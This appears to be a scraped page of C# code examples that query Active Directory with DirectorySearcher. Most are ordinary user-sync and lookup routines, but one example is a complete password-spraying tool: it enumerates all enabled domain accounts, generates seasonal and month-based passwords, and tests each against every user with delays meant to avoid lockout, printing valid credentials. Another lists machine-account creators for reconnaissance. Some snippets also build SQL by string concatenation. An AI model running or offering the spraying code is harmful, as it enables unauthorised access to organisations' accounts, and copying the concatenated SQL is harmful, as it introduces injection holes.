                                    }
                                    // Add user to users list.
                                    users.Add(user);
                                }
                            }
                        }
                        catch (Exception e)
                        {
                            MessageBox.Show(e.Message, "Error: Cannot Retrieve User Information");
                        }
                    }
            }

            // Return all found users.
            return(users);
        }
Ejemplo n.º 34
0
        static void Main(string[] args)
        {
            string LogonServer = Environment.GetEnvironmentVariable("LOGONSERVER").TrimStart('\\');

            if (LogonServer == null)
            {
                Console.WriteLine("[-] Failed to retrieve the LOGONSERVER the environment variable; the script will exit.");
                return;
            }

            List <string> UserList         = new List <string>();
            int           minPwdLength     = new int();
            int           lockoutThreshold = new int();
            string        Seeds            = null;
            string        Passwords        = null;
            int           Delay            = new int();
            int           Sleep            = new int();

            for (int i = 0; i < args.Length; i++)
            {
                if (args[i] == "--Passwords")
                {
                    Passwords = args[i + 1];
                }
                else if (args[i] == "--Seeds")
                {
                    Seeds = args[i + 1];
                }
                else if (args[i] == "--Delay")
                {
                    Delay = int.Parse(args[i + 1]);
                }
                else if (args[i] == "--Sleep")
                {
                    Sleep = int.Parse(args[i + 1]);
                }
            }

            try
            {
                DirectoryEntry    dEntry  = new DirectoryEntry("LDAP://" + System.DirectoryServices.ActiveDirectory.ActiveDirectorySite.GetComputerSite().InterSiteTopologyGenerator.Name);
                DirectorySearcher dSearch = new DirectorySearcher(dEntry);
                dSearch.Filter   = "(&(objectCategory=Person)(sAMAccountName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))";
                dSearch.PageSize = 1000;
                dSearch.PropertiesToLoad.Add("sAMAccountName");
                dSearch.SearchScope = SearchScope.Subtree;
                SearchResultCollection results = dSearch.FindAll();
                if (results != null)
                {
                    for (var i = 0; i < results.Count; i++)
                    {
                        UserList.Add((string)results[i].Properties["sAMAccountName"][0]);
                    }
                }
                else
                {
                    Console.WriteLine("[-] Failed to retrieve the usernames from Active Directory; the script will exit.");
                    return;
                }

                if (UserList != null)
                {
                    int UserCount = UserList.Count;
                    Console.WriteLine("[+] Successfully collected " + UserCount + " usernames from Active Directory.");
                    lockoutThreshold = (int)dEntry.Properties["minPwdLength"].Value;
                    Console.WriteLine("[*] The Lockout Threshold for the current domain is " + lockoutThreshold + ".");
                    minPwdLength = (int)dEntry.Properties["minPwdLength"].Value;
                    Console.WriteLine("[*] The Min Password Length for the current domain is " + minPwdLength + ".");
                }
                else
                {
                    Console.WriteLine("[-] Failed to create a list the usernames from Active Directory; the script will exit.");
                    return;
                }
            }
            catch
            {
                Console.WriteLine("[-] Failed to find or connect to Active Directory; the script will exit.");
                return;
            }

            List <string> SeedList     = new List <string>();
            List <string> PasswordList = new List <string>();

            if (Passwords != null)
            {
                PasswordList = Passwords.Split(',').ToList();
            }
            else if (Seeds != null)
            {
                SeedList     = Seeds.Split(',').ToList();
                PasswordList = GeneratePasswords(SeedList, minPwdLength);
            }
            else
            {
                List <string> SeasonList = new List <string>();
                List <string> MonthList  = new List <string>();

                System.DateTime Today = System.DateTime.Today;
                System.DateTime Month = new DateTime(Today.Year, Today.Month, 1);

                SeasonList.Add(GetSeason(Month.AddMonths(-1)).ToString());
                SeasonList.Add(GetSeason(Month).ToString());
                SeasonList.Add(GetSeason(Month.AddMonths(1)).ToString());

                MonthList.Add(Month.AddMonths(-1).ToString("MMMM"));
                MonthList.Add(Month.ToString("MMMM"));
                MonthList.Add(Month.AddMonths(1).ToString("MMMM"));

                SeedList = SeasonList.Distinct().Concat(MonthList.Distinct()).ToList();

                PasswordList = GeneratePasswords(SeedList, minPwdLength);
            }
            if (PasswordList == null)
            {
                Console.WriteLine("[-] The PasswordList variable is empty; the script will exit.");
                return;
            }
            Console.WriteLine("[+] Successfully generated a list of " + PasswordList.Count + " passwords.");

            Console.WriteLine("[*] Starting password spraying operations.");
            if (Delay > 0)
            {
                Console.WriteLine("[*] Using a delay of " + Delay + " milliseonds between attempts.");
            }
            else
            {
                Console.WriteLine("[*] Using the default delay of 1000 milliseonds between attempts.");
            }

            foreach (string Password in PasswordList)
            {
                Console.WriteLine("[*] Using password " + Password);
                foreach (string UserName in UserList)
                {
                    bool Flag = false;
                    try
                    {
                        using (PrincipalContext principalContext = new PrincipalContext(ContextType.Domain, LogonServer))
                        {
                            Flag = principalContext.ValidateCredentials(UserName, Password, ContextOptions.Negotiate);
                        }
                    }
                    catch (PrincipalServerDownException)
                    {
                        Console.WriteLine("[-] Failed to retrieve the domain name; the script will exit.");
                    }

                    if (Flag == true)
                    {
                        Console.WriteLine("[+] Successfully authenticated with " + UserName + "::" + Password);
                    }
                    else
                    {
                        //Console.WriteLine("[-] Authentication failed with " + UserName + "::" + Password);
                    }

                    if (Delay > 0)
                    {
                        Thread.Sleep(Delay);
                    }
                    else
                    {
                        Thread.Sleep(1000);
                    }
                }
                Console.WriteLine("[*] Completed all rounds with password " + Password);

                if (Sleep > 0)
                {
                    int Duration = (int)TimeSpan.FromMinutes(Sleep).TotalMilliseconds;
                    Console.WriteLine("[*] Now the script will sleep for " + TimeSpan.FromMilliseconds(Duration).TotalMinutes.ToString() + " minutes.");
                    Thread.Sleep(Duration);
                }
            }
            Console.WriteLine("[*] Completed all password spraying operations.");
        }
Ejemplo n.º 35
0
        //Usuario desde AD
        #region AD
        /// <summary>
        ///
        /// </summary>
        /// <param name="dominio"></param>
        /// <param name="tipoFiltro"></param>
        /// <param name="criterio"></param>
        /// <returns></returns>
        public List <CuentaUsuario> getUsuarioDeDirectorioActivo(string dominio, string tipoFiltro, string criterio)
        {
            string rutaDominio;
            List <CuentaUsuario> listaUsuario = new List <CuentaUsuario>();

            rutaDominio = this.getRutaDominio(dominio);
            DirectoryEntry    oDirectorioEntrada = new DirectoryEntry(rutaDominio);
            string            filtroDirectorio   = getLDAPFilter(tipoFiltro, criterio);
            DirectorySearcher oBuscaDirectorio   = new DirectorySearcher(oDirectorioEntrada, filtroDirectorio);

            oBuscaDirectorio.PageSize = 10;
            oBuscaDirectorio.PropertiesToLoad.Add("givenName");
            oBuscaDirectorio.PropertiesToLoad.Add("samaccountname");
            oBuscaDirectorio.PropertiesToLoad.Add("mail");
            oBuscaDirectorio.PropertiesToLoad.Add("company");
            oBuscaDirectorio.PropertiesToLoad.Add("title");
            oBuscaDirectorio.PropertiesToLoad.Add("sn");
            oBuscaDirectorio.PropertiesToLoad.Add("mobile");
            oBuscaDirectorio.PropertiesToLoad.Add("telephoneNumber");
            oBuscaDirectorio.PropertiesToLoad.Add("c");
            oBuscaDirectorio.PropertiesToLoad.Add("physicalDeliveryOfficeName");
            oBuscaDirectorio.PropertiesToLoad.Add("department");
            oBuscaDirectorio.PropertiesToLoad.Add("userPassword");
            oBuscaDirectorio.PropertiesToLoad.Add("postalCode");

            CuentaUsuario          oCuentaUsuario;
            SearchResultCollection Data = oBuscaDirectorio.FindAll();

            foreach (SearchResult oResultado in Data)
            {
                oCuentaUsuario = new CuentaUsuario();
                if (oResultado.Properties["givenName"].Count > 0)
                {
                    oCuentaUsuario.Nombre = (string)oResultado.Properties["givenName"][0];
                }

                if (oResultado.Properties["samaccountname"].Count > 0)
                {
                    oCuentaUsuario.Alias = (string)oResultado.Properties["samaccountname"][0];
                }

                if (oResultado.Properties["mail"].Count > 0)
                {
                    oCuentaUsuario.CorreoElectronico = (string)oResultado.Properties["mail"][0];
                }

                if (oResultado.Properties["company"].Count > 0)
                {
                    oCuentaUsuario.Organizacion = (string)oResultado.Properties["company"][0];
                }

                if (oResultado.Properties["title"].Count > 0)
                {
                    oCuentaUsuario.Cargo = (string)oResultado.Properties["title"][0];
                }

                if (oResultado.Properties["sn"].Count > 0)
                {
                    oCuentaUsuario.ApellidoPaterno = (string)oResultado.Properties["sn"][0];
                    string[] apellidos = oCuentaUsuario.ApellidoPaterno.Split(' ');
                    if (apellidos.Length > 1)
                    {
                        oCuentaUsuario.ApellidoPaterno = apellidos[0];
                        oCuentaUsuario.ApellidoMaterno = apellidos[1];
                    }
                }

                if (oResultado.Properties["mobile"].Count > 0)
                {
                    oCuentaUsuario.TelefonoMovil = (string)oResultado.Properties["mobile"][0];
                }

                if (oResultado.Properties["telephoneNumber"].Count > 0)
                {
                    oCuentaUsuario.TelefonoTrabajo = (string)oResultado.Properties["telephoneNumber"][0];
                }

                if (oResultado.Properties["c"].Count > 0)
                {
                    oCuentaUsuario.Pais = (string)oResultado.Properties["c"][0];
                }

                if (oResultado.Properties["userPassword"].Count > 0)
                {
                    oCuentaUsuario.Clave = (string)oResultado.Properties["userPassword"][0];
                }

                if (oResultado.Properties["physicalDeliveryOfficeName"].Count > 0)
                {
                    oCuentaUsuario.Ubigeo = (string)oResultado.Properties["physicalDeliveryOfficeName"][0];
                }

                if (oResultado.Properties["department"].Count > 0)
                {
                    oCuentaUsuario.Area = (string)oResultado.Properties["department"][0];
                }

                if (oResultado.Properties["postalCode"].Count > 0)
                {
                    oCuentaUsuario.NumeroDocumento = (string)oResultado.Properties["postalCode"][0];
                }
                oCuentaUsuario.Dominio = dominio;

                listaUsuario.Add(oCuentaUsuario);
            }
            return(listaUsuario);
        }
        private static Task <List <UserEntry> > GetUsersAsync(bool force = false)
        {
            if (!SettingsService.Instance.Sync.SyncUsers)
            {
                throw new ApplicationException("Not configured to sync users.");
            }

            if (SettingsService.Instance.Server?.Ldap == null)
            {
                throw new ApplicationException("No configuration for directory server.");
            }

            if (SettingsService.Instance.Sync == null)
            {
                throw new ApplicationException("No configuration for sync.");
            }

            if (!AuthService.Instance.Authenticated)
            {
                throw new ApplicationException("Not authenticated.");
            }

            var userEntry = SettingsService.Instance.Server.Ldap.GetUserDirectoryEntry();
            var filter    = BuildBaseFilter(SettingsService.Instance.Sync.Ldap.UserObjectClass,
                                            SettingsService.Instance.Sync.UserFilter);

            filter = BuildRevisionFilter(filter, force, SettingsService.Instance.LastUserSyncDate);

            Console.WriteLine("User search: {0} => {1}", userEntry.Path, filter);
            var searcher = new DirectorySearcher(userEntry, filter);
            var result   = searcher.FindAll();

            var users = new List <UserEntry>();

            foreach (SearchResult item in result)
            {
                var user = BuildUser(item, false);
                if (user == null)
                {
                    continue;
                }

                users.Add(user);
            }

            // Deleted users
            if (SettingsService.Instance.Server.Type == DirectoryType.ActiveDirectory)
            {
                var deletedEntry  = SettingsService.Instance.Server.Ldap.GetBasePathDirectoryEntry();
                var deletedFilter = BuildBaseFilter(SettingsService.Instance.Sync.Ldap.UserObjectClass, "(isDeleted=TRUE)");
                deletedFilter = BuildRevisionFilter(deletedFilter, force, SettingsService.Instance.LastUserSyncDate);

                var deletedSearcher = new DirectorySearcher(deletedEntry, deletedFilter);
                deletedSearcher.Tombstone = true;
                var deletedResult = deletedSearcher.FindAll();
                foreach (SearchResult item in deletedResult)
                {
                    var user = BuildUser(item, true);
                    if (user == null)
                    {
                        continue;
                    }

                    users.Add(user);
                }
            }

            return(Task.FromResult(users));
        }
Ejemplo n.º 37
0
        public static void GetMachineAccountCreator(string container, string distinguishedName, string domain, string domainController, bool verbose, NetworkCredential credential)
        {
            distinguishedName = GetMAQDistinguishedName(null, container, distinguishedName, domain, verbose);
            DirectoryEntry directoryEntry;

            if (!String.IsNullOrEmpty(credential.UserName))
            {
                directoryEntry = new DirectoryEntry(String.Concat("LDAP://", domainController, "/", distinguishedName), credential.UserName, credential.Password);
            }
            else
            {
                directoryEntry = new DirectoryEntry(String.Concat("LDAP://", domainController, "/", distinguishedName));
            }

            try
            {
                DirectorySearcher directorySearcher = new DirectorySearcher(directoryEntry);
                directorySearcher.SearchRoot  = directoryEntry;
                directorySearcher.PageSize    = 1000;
                directorySearcher.Filter      = "(&(ms-ds-creatorsid=*))";
                directorySearcher.SearchScope = System.DirectoryServices.SearchScope.Subtree;
                SearchResultCollection searchResults = directorySearcher.FindAll();

                if (searchResults.Count == 0)
                {
                    Console.WriteLine("[-] No results found in {0}", distinguishedName);
                }

                foreach (SearchResult searchResult in searchResults)
                {
                    byte[] creatorSIDObject = (byte[])searchResult.Properties["ms-ds-creatorsid"][0];
                    string creatorSID       = new SecurityIdentifier(creatorSIDObject, 0).Value;
                    string machineAccount   = (string)searchResult.Properties["Name"][0];
                    string accountContainer = (string)searchResult.Properties["distinguishedName"][0];
                    accountContainer = accountContainer.Split(',')[1];
                    string principle = "";
                    string principalDistingushedName = "";

                    try
                    {
                        DirectoryEntry directoryEntryPrinciple;

                        if (!String.IsNullOrEmpty(credential.UserName))
                        {
                            directoryEntryPrinciple = new DirectoryEntry(String.Concat("LDAP://", domainController, "/<SID=", creatorSID, ">"), credential.UserName, credential.Password);
                        }
                        else
                        {
                            directoryEntryPrinciple = new DirectoryEntry(String.Concat("LDAP://", domainController, "/<SID=", creatorSID, ">"));
                        }

                        if (directoryEntryPrinciple.Properties["userPrincipalname"].Value != null)
                        {
                            principle = directoryEntryPrinciple.Properties["userPrincipalname"].Value.ToString();
                        }
                        else
                        {
                            principle = directoryEntryPrinciple.Properties["sAMAccountName"].Value.ToString();
                            principalDistingushedName = directoryEntryPrinciple.Properties["distinguishedName"].Value.ToString();
                        }

                        directoryEntryPrinciple.Dispose();
                    }
                    catch
                    {
                        principle = creatorSID;
                    }

                    Console.WriteLine("[+] Account {0} is the creator of {1} in {2}", principle, machineAccount, accountContainer);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
                throw;
            }

            if (!String.IsNullOrEmpty(directoryEntry.Path))
            {
                directoryEntry.Dispose();
            }
        }
Ejemplo n.º 38
0
    protected void Page_Load(object sender, EventArgs e)
    {
        if (Request["testing"] == "true")
               return;
          //WeavverLib.JBilling.createUser cu = new WeavverLib.JBilling.createUser();
          //WeavverLib.JBilling.getUserId gui;
         // create the interface instance of the class.

          //WebServicesSessionSpringBeanService service = new WebServicesSessionSpringBeanService();
          //int xx;
          //bool ret;
          //service.Credentials = new System.Net.NetworkCredential("mythicalbox", "");
          //service.getUserId("mythicalbox", out xx, out ret);
          //itemDTOEx[] items = service.getAllItems();

          //userWS ws = new userWS();
          ////ws.creditCard = new creditCardDTO();
          ////ws.creditLimit = 0;
          ////ws.creditLimitSpecified = true;

          //ws.statusId = 1; // active
          //ws.statusIdSpecified = true;
          //ws.userName = "******";
          //ws.languageId = 1;
          //ws.userIdBlacklisted = false;
          //ws.userIdBlacklistedSpecified = false;
          //ws.languageIdSpecified = true;
          //ws.role = "user";
          //ws.mainRoleId = 5; // customer
          //ws.contact = new contactWS();
          //ws.contact.address1 = "531 N. Mountain View Pl.";
          //ws.contact.city = "Fullerton";
          //ws.contact.email = "*****@*****.**";
          //ws.contact.firstName = "John";
          //ws.contact.lastName = "Doe";
          //ws.mainRoleIdSpecified = true;
          //ws.currencyId = 1;
          //ws.currencyIdSpecified = true;
          //ws.createDatetime = DateTime.UtcNow;
          //ws.createDatetimeSpecified = true;
          //int xy;
          //bool rx;
          //service.createUser(ws, out xy, out rx);

          //foreach (itemDTOEx idto in items)
          //{
          //     Response.Write(idto.description);
          //}
          //if (xx > 0) {
          //     //WebServicesSessionLocalService.userWS userData = service.getUserWS(userId);
          //}
          //Response.Write(xx);
          //WeavverLib.JBilling.userWS us;

          //Interop.QBFC7.QBSessionManager sm = new QBSessionManager();
          //sm.OpenConnection("", "Weavver App");
          //sm.BeginSession("", ENOpenMode.omDontCare);
          DirectoryEntry entry = GetDirectoryEntry();
          //Response.Write("<html>");
          DirectorySearcher dSearch = new DirectorySearcher(entry);
          //string username = "";
          dSearch.Filter = "(&(objectClass=user))";
          // get all entries from the active directory.
          // Last Name, name, initial, homepostaladdress, title, company etc..
          foreach (SearchResult sResultSet in dSearch.FindAll())
          {
               Response.Write(new Guid((byte[])sResultSet.Properties["objectguid"][0]) + "<br />");
               Response.Write(GetProperty(sResultSet, "cn"));
               Response.Write(GetProperty(sResultSet, "cn")); // Login Name
               Response.Write(GetProperty(sResultSet, "givenName")); // First Name
               Response.Write(GetProperty(sResultSet, "initials")); // Middle Initials
               Response.Write(GetProperty(sResultSet, "sn")); // Last Name

               string tempAddress = GetProperty(sResultSet, "homePostalAddress"); // Address

               if (tempAddress != string.Empty)
               {
                    string[] addressArray = tempAddress.Split(';');
                    string taddr1, taddr2;
                    taddr1 = addressArray[0];
                    Response.Write(taddr1);
                    taddr2 = addressArray[1];
                    Response.Write(taddr2);
               }

               Response.Write(GetProperty(sResultSet, "title")); // title
               Response.Write(GetProperty(sResultSet, "company")); // company
               Response.Write(GetProperty(sResultSet, "st")); // state
               Response.Write(GetProperty(sResultSet, "l")); // city
               Response.Write(GetProperty(sResultSet, "co")); // country
               Response.Write(GetProperty(sResultSet, "postalCode")); // postal code
               Response.Write("telephone number: " + GetProperty(sResultSet, "telephoneNumber")); // telephonenumber
               Response.Write(GetProperty(sResultSet, "otherTelephone")); // extension
               Response.Write(GetProperty(sResultSet, "facsimileTelephoneNumber")); // fax
               Response.Write(GetProperty(sResultSet, "mail")); // email address
               Response.Write(GetProperty(sResultSet, "extensionAttribute1")); // Challenge Question
               Response.Write(GetProperty(sResultSet, "extensionAttribute2")); // Challenge Response
               Response.Write(GetProperty(sResultSet, "extensionAttribute3")); // Member Company

               Response.Write(GetProperty(sResultSet, "extensionAttribute4")); // Company Relation ship Exits
               Response.Write(GetProperty(sResultSet, "extensionAttribute5")); //status
               Response.Write(GetProperty(sResultSet, "extensionAttribute6")); // Assigned Sales Person
               Response.Write(GetProperty(sResultSet, "extensionAttribute7")); // Accept T and C
               Response.Write(GetProperty(sResultSet, "extensionAttribute8")); // jobs
               String tEmail = GetProperty(sResultSet, "extensionAttribute9");

               // email over night
               if (tEmail != string.Empty)
               {
                    string em1, em2, em3;
                    string[] emailArray = tEmail.Split(';');
                    em1 = emailArray[0];
                    em2 = emailArray[1];
                    em3 = emailArray[2];
                    Console.Write(em1 + em2 + em3);
               }
               Response.Write(GetProperty(sResultSet, "extensionAttribute10")); // email daily emerging market
               Response.Write(GetProperty(sResultSet, "extensionAttribute11")); // email daily corporate market
               Response.Write(GetProperty(sResultSet, "extensionAttribute12")); // AssetMgt Range
               Response.Write(GetProperty(sResultSet, "whenCreated")); // date of account created
               Response.Write(GetProperty(sResultSet, "whenChanged")); // date of account

               Response.Write("<hr />");
          }
    }
Ejemplo n.º 39
0
    public static void clr_GetADusersPhotos(SqlString ADpath, SqlString ADfilter)
    {
        //System.IO.StreamWriter file = Util.CreateLogFile();

        SearchResultCollection results = null;
        Int32 itemcount = 0;
        try
        {
            DataTable tbl = new DataTable();
            tbl.Columns.Add("ObjectGUID", typeof(Guid));
            tbl.Columns.Add("Width", typeof(int));
            tbl.Columns.Add("Height", typeof(int));
            tbl.Columns.Add("Format", typeof(string));
            tbl.Columns.Add("Photo", typeof(byte[]));
            DataRow row;

            DirectoryEntry entry = new DirectoryEntry((string)ADpath);
            DirectorySearcher searcher = new DirectorySearcher(entry);
            searcher.Filter = (string)ADfilter;
            searcher.PageSize = 500;

            results = searcher.FindAll();
            foreach (SearchResult searchResult in results)
            {
                itemcount++;
                DirectoryEntry item = searchResult.GetDirectoryEntry();

                PropertyValueCollection prop = Util.GetADproperty(item, "thumbnailphoto");
                if (prop == null)
                    continue;

                // Get image size
                ImgSize imgsize = new ImgSize(0, 0, "xxx");
                try
                {
                    imgsize = ImageHeader.GetDimensions((byte[])prop[0]);
                }
                catch(Exception ex)
                {
                    SqlContext.Pipe.Send("Warning: Get image size failed for user (" + Util.GetDistinguishedName(item) + ")"
                        + " Exception: " + ex.Message);
                }

                row = tbl.NewRow();
                row[0] = item.Guid;
                if (!imgsize.IsEmpty()) // Image size will be NULL unless size has been read from the image header.
                {
                    row[1] = imgsize.Width;
                    row[2] = imgsize.Height;
                    row[3] = imgsize.Format;
                }
                row[4] = prop[0];
                tbl.Rows.Add(row);
            }

            // Return dataset to SQL server.
            ReturnDatasetToSqlServer(tbl);
        }
        catch (System.Runtime.InteropServices.COMException)
        {
            SqlContext.Pipe.Send("COMException in clr_GetADusersPhotos. ItemCounter = " + itemcount.ToString());
            throw;
        }
        catch (InvalidOperationException)
        {
            SqlContext.Pipe.Send("InvalidOperationException in clr_GetADusersPhotos. ItemCounter = " + itemcount.ToString());
            throw;
        }
        catch (NotSupportedException)
        {
            SqlContext.Pipe.Send("NotSupportedException in clr_GetADusersPhotos. ItemCounter = " + itemcount.ToString());
            throw;
        }
        catch (Exception)
        {
            SqlContext.Pipe.Send("Exception in clr_GetADusersPhotos. ItemCounter = " + itemcount.ToString());
            throw;
        }
        finally
        {
            if (null != results)
            {
                results.Dispose();  // To prevent memory leaks, always call
                results = null;     // SearchResultCollection.Dispose() manually.
            }
        }
        //file.Close();
    }
 public List<ContactPrincipal> GetChildContactObjects(int maxRecords)
 {
     var directoryDe = new DirectoryEntry();
     if (ContextType == ContextType.Domain)
     {
         directoryDe = new DirectoryEntry(string.Format("LDAP://{0}", ConnectedServer));
     }
     if (ContextType == ContextType.ApplicationDirectory)
     {
         directoryDe = new DirectoryEntry(string.Format("LDAP://{0}/{1}", ConnectedServer, Container));
     }
     var search = new DirectorySearcher(directoryDe)
     {
         Tombstone = false,
         Asynchronous = true,
         PageSize = 100,
         Filter = "(objectClass=contact)"
     };
     var results = search.FindAll();
     var i = 0;
     var children = new List<ContactPrincipal>();
     foreach (SearchResult result in results)
     {
         i++;
         var delims = new[] {'/'};
         var pieces = result.Path.Split(delims);
         var dn = pieces[pieces.Count() - 1];
         if (maxRecords > 0 && i > maxRecords)
         {
             break;
         }
         try
         {
             children.Add(ContactPrincipal.FindByIdentity(this, IdentityType.DistinguishedName, dn));
         }
         catch
         {
         }
     }
     return children;
 }
Ejemplo n.º 41
0
        private List <string> GetDomainComputers()
        {
            if (Config.TargetDc != null)
            {
                DomainControllers.Add(Config.TargetDc);
            }
            else
            {
                GetDomainControllers();
            }

            var domainComputers = new List <string>();

            // we do this so if the first one fails we keep trying til we find a DC we can talk to.
            foreach (var domainController in DomainControllers)
            {
                try
                {
                    // TODO add support for user defined creds here.

                    using (var entry = new DirectoryEntry("LDAP://" + domainController))
                    {
                        using (var mySearcher = new DirectorySearcher(entry))
                        {
                            mySearcher.Filter = ("(objectClass=computer)");

                            // No size limit, reads all objects
                            mySearcher.SizeLimit = 0;

                            // Read data in pages of 250 objects. Make sure this value is below the limit configured in your AD domain (if there is a limit)
                            mySearcher.PageSize = 250;

                            // Let searcher know which properties are going to be used, and only load those
                            mySearcher.PropertiesToLoad.Add("name");
                            mySearcher.PropertiesToLoad.Add("dNSHostName");
                            mySearcher.PropertiesToLoad.Add("lastLogonTimeStamp");

                            foreach (SearchResult resEnt in mySearcher.FindAll())
                            {
                                // TODO figure out how to compare timestamp
                                //if (resEnt.Properties["lastLogonTimeStamp"])
                                //{
                                //    continue;
                                //}
                                // Note: Properties can contain multiple values.
                                if (resEnt.Properties["dNSHostName"].Count > 0)
                                {
                                    var computerName = (string)resEnt.Properties["dNSHostName"][0];
                                    domainComputers.Add(computerName);
                                }
                            }
                        }
                    }

                    return(domainComputers);
                }
                catch (Exception e)
                {
                    Config.Mq.Trace(e.ToString());
                    throw;
                }
            }

            return(null);
        }
Ejemplo n.º 42
0
        private void FindChildrenDomains()
        {

            DirectoryEntry rootDse = new DirectoryEntry(string.Format("LDAP://{0}/RootDSE", dName), dc.UserName, dc.Password);

            string configureName = rootDse.DirContext.ConfigurationNamingContext;

            if (configureName == null || configureName == "")
            {
                return;
            }

            DirectoryEntry sys = new DirectoryEntry(string.Format("LDAP://{0}/CN=Partitions,{1}", SDSUtils.DNToDomainName(configureName), configureName), dc.UserName, dc.Password);

            DirectorySearcher ds = new DirectorySearcher(sys);

            ds.Filter = "(objectClass=crossRef)";
            ds.SearchScope = SearchScope.OneLevel;

            SearchResultCollection src = ds.FindAll();

            if (src != null && src.Count > 0)
            {
                foreach (SearchResult sr in src)
                {

                    string sProtocol, sServer, sCNs, sDCs;
                    SDSUtils.CrackPath(sr.Path, out sProtocol, out sServer, out sCNs, out sDCs);

                    DirectoryEntry partEntry = new DirectoryEntry(sr.Path, dc.UserName, dc.Password);

                    string parentDomainDN = partEntry.Properties["trustParent"].Value as string;

                    if (parentDomainDN != null && parentDomainDN != "" &&
                        dName.Equals(SDSUtils.DNToDomainName(parentDomainDN), StringComparison.InvariantCultureIgnoreCase))
                    {
                        children.Add(new Domain(SDSUtils.DNToDomainName(partEntry.Properties["nCName"].Value as string)));
                    }
                }
            }

            return;
        }
Ejemplo n.º 43
0
    public void ReinstailizeAD_Table()
    {
        DirectoryEntry entry = new DirectoryEntry(@"LDAP://ad.asdfasdf.com");

           //   :636
           DirectorySearcher mySearcher = new DirectorySearcher(entry);
           mySearcher.PageSize = 6000;
           entry.Username = "******";
           entry.Password = "******";
           SearchResultCollection results;

           mySearcher.Filter = "(&(objectClass=user)(objectCategory=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))";

           mySearcher.PropertiesToLoad.Add("telephonenumber");

           mySearcher.PropertiesToLoad.Add("department");
           mySearcher.PropertiesToLoad.Add("displayname");
           mySearcher.PropertiesToLoad.Add("objectguid");
           mySearcher.PropertiesToLoad.Add("mail");
           mySearcher.PropertiesToLoad.Add("company");
           mySearcher.PropertiesToLoad.Add("mailnickname");
           mySearcher.PropertiesToLoad.Add("samaccountname");
           mySearcher.PropertiesToLoad.Add("title");

           //  string queryGuid1 = "50d50b492f1dfc4c9fe1b239258bf9c7";

           results = mySearcher.FindAll();

           int i = 0;

         // OleDbConnection dbconn = new OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;data source=" + Server.MapPath("GK_AD_LIST.mdb"));
          // dbconn.Open();

           // OleDbCommand dbcomm = new OleDbCommand("select * from gk_adlist", dbconn);
           string truncatetable = @"truncate table gk_adlist";
           SqlCommand mytruncomm = new SqlCommand(truncatetable, Appconnection());
           mytruncomm.ExecuteNonQuery();

           string insertvalue = @"insert into gk_adlist (quid,displayname,emailadd,company,department,phonenumber,samaccountname,title) values (";
           string department = ""; string displayname = ""; string objectguid = ""; string mail = ""; string company = ""; string telephonenumber = ""; string queryGuid = ""; string samaccountname = ""; string title = "";
           foreach (SearchResult resEnt in results)
           {

           {

               ResultPropertyCollection propcoll = resEnt.Properties;

               i++;
               foreach (string key in propcoll.PropertyNames)
               {

                   try
                   {

                       if (key.ToString().Trim().ToLower() == "objectguid")
                       {

                           foreach (byte b in (System.Byte[])resEnt.Properties[key][0])
                           {
                               queryGuid += b.ToString("x2");
                           }

                       }
                       else
                       {

                       }

                       if (key.ToString().Trim().ToLower() == "telephonenumber")
                       {
                           telephonenumber = resEnt.Properties[key][0].ToString().Trim();
                       }
                       if (key.ToString().Trim().ToLower() == "department")
                       { department = replacebadcharacters(resEnt.Properties[key][0].ToString().Trim()); }
                       if (key.ToString().Trim().ToLower() == "displayname")
                       {
                           displayname = replacebadcharacters(resEnt.Properties[key][0].ToString().Trim());
                       }
                       if (key.ToString().Trim().ToLower() == "mail")
                       { mail = replacebadcharacters(resEnt.Properties[key][0].ToString().Trim()); }
                       if (key.ToString().Trim().ToLower() == "samaccountname")
                       { samaccountname = replacebadcharacters(resEnt.Properties[key][0].ToString().Trim()); }
                       if (key.ToString().Trim().ToLower() == "title")
                       { title = replacebadcharacters(resEnt.Properties[key][0].ToString().Trim()); }
                       if (key.ToString().Trim().ToLower() == "company")
                       { company = replacebadcharacters(replacebadcharacters(resEnt.Properties[key][0].ToString().Trim())); }

                  //     Response.Write(key.Trim() + "=" + resEnt.Properties[key][0].ToString().Trim());

                   }
                   catch (Exception ee)
                   {

                  //    Response.Write(ee.Message.ToString());
                   }

               }
               insertvalue += "'" + queryGuid + "','" + displayname + "','" + mail + "','" + company + "','" + department + "','" + telephonenumber + "','" + samaccountname + "','" + title + "')";

               SqlCommand dbcom = new SqlCommand(insertvalue, Appconnection());
               try
               {
                   string test;
                   if (displayname.Trim().Length > 0 && mail.Trim().Length > 0)
                       dbcom.ExecuteNonQuery();
                   dbcom.Connection.Close();
                       test = "4";

               }
               catch (Exception ex)
               {

               }
            //   Response.Write("<br />");

               insertvalue = "insert into gk_adlist (quid,displayname,emailadd,company,department,phonenumber,samaccountname, title) values (";
               department = ""; displayname = ""; objectguid = ""; mail = ""; company = ""; telephonenumber = ""; queryGuid = "";

           }

           }

          // dbconn.Close();
    }
Ejemplo n.º 44
0
        public Dictionary<string, DirectoryEntry> GetAllMembers(DirectoryEntry deTop, ProviderMemberFilter filter, int maxResultSetSize,BackgroundWorker bw)
        {
            // map SIDs to AD user object
            Dictionary<string, DirectoryEntry> adUserGroupMap = new Dictionary<string, DirectoryEntry>();
            int count = 0;
            string filterString = "";
            string objecttype = "";

            // yep, let's get the default cell data first

            if (filter == ProviderMemberFilter.AllUserGroupMembersOnly)
            {
                if (groupScope == null || groupScope == string.Empty)
                {
                    filterString = "(|(objectClass=user)(objectClass=group))"; //"(|(&(objectClass=user)(uidNumber=*))(&(objectClass=group)(gidNumber=*)))";
                }
                else
                {
                    filterString = "(|(&(objectClass=group)(grouptype=-2147483640))(&(objectClass=group)(grouptype=8))" +
                                   "(&(objectClass=group)(grouptype=-2147483646))(&(objectClass=group)(grouptype=2))" +
                                   "(&(objectClass=group)(grouptype=-2147483644))(&(objectClass=group)(grouptype=4))(objectClass=user))";
                }
                objecttype = "usergroup";
            }
            else if (filter == ProviderMemberFilter.GroupMembersOnly)
            {
                if (groupScope == null || groupScope == string.Empty)
                    filterString = "(objectClass=group)";// "(&(objectClass=group)(gidNumber=*))";
                else if (groupScope == "-2147483644" || groupScope == "4")
                    filterString = "(|(&(objectClass=group)(grouptype=-2147483644))(&(objectClass=group)(grouptype=4)))";
                else if (groupScope == "-2147483640" || groupScope == "8")
                    filterString = "(|(&(objectClass=group)(grouptype=-2147483640))(&(objectClass=group)(grouptype=8))" +
                        "(&(objectClass=group)(grouptype=-2147483644))(&(objectClass=group)(grouptype=4)))";
